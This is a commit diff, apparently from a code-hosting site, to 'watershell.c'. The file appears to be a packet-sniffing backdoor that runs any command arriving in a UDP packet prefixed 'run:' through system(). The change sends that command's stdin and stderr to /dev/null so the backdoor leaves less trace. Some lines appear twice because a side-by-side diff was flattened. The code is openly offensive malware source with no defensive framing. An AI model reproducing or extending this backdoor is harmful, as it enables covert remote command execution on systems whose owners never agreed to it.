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no more errors/stdout form this boi

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Cictrone
2018-11-14 01:39:01 -05:00
parent 9c14f6a310
commit afc2b30bb4
1 changed files with 3 additions and 2 deletions
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5
watershell.c
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@@ -44,6 +44,7 @@
#include <linux/if_ether.h> #include <linux/if_ether.h>
#include <linux/if_packet.h> #include <linux/if_packet.h>
#include <linux/filter.h> #include <linux/filter.h>
#include <fcntl.h>
#include <netinet/ip.h> #include <netinet/ip.h>
#include <netinet/udp.h> #include <netinet/udp.h>
#include <signal.h> #include <signal.h>
@@ -157,8 +158,8 @@ int main(int argc, char *argv[])
udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr))); udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
//run a command if the data is prefixed with run: //run a command if the data is prefixed with run:
if (!strncmp(udpdata, "run:", 4)){ if (!strncmp(udpdata, "run:", 4)){
out = open("/dev/null", O_WRONLY); int out = open("/dev/null", O_WRONLY);
err = open("/dev/null", O_WRONLY); int err = open("/dev/null", O_WRONLY);
dup2(out, 0); dup2(out, 0);
dup2(err, 2); dup2(err, 2);
code = system(udpdata + 4); //replace with fork + exec code = system(udpdata + 4); //replace with fork + exec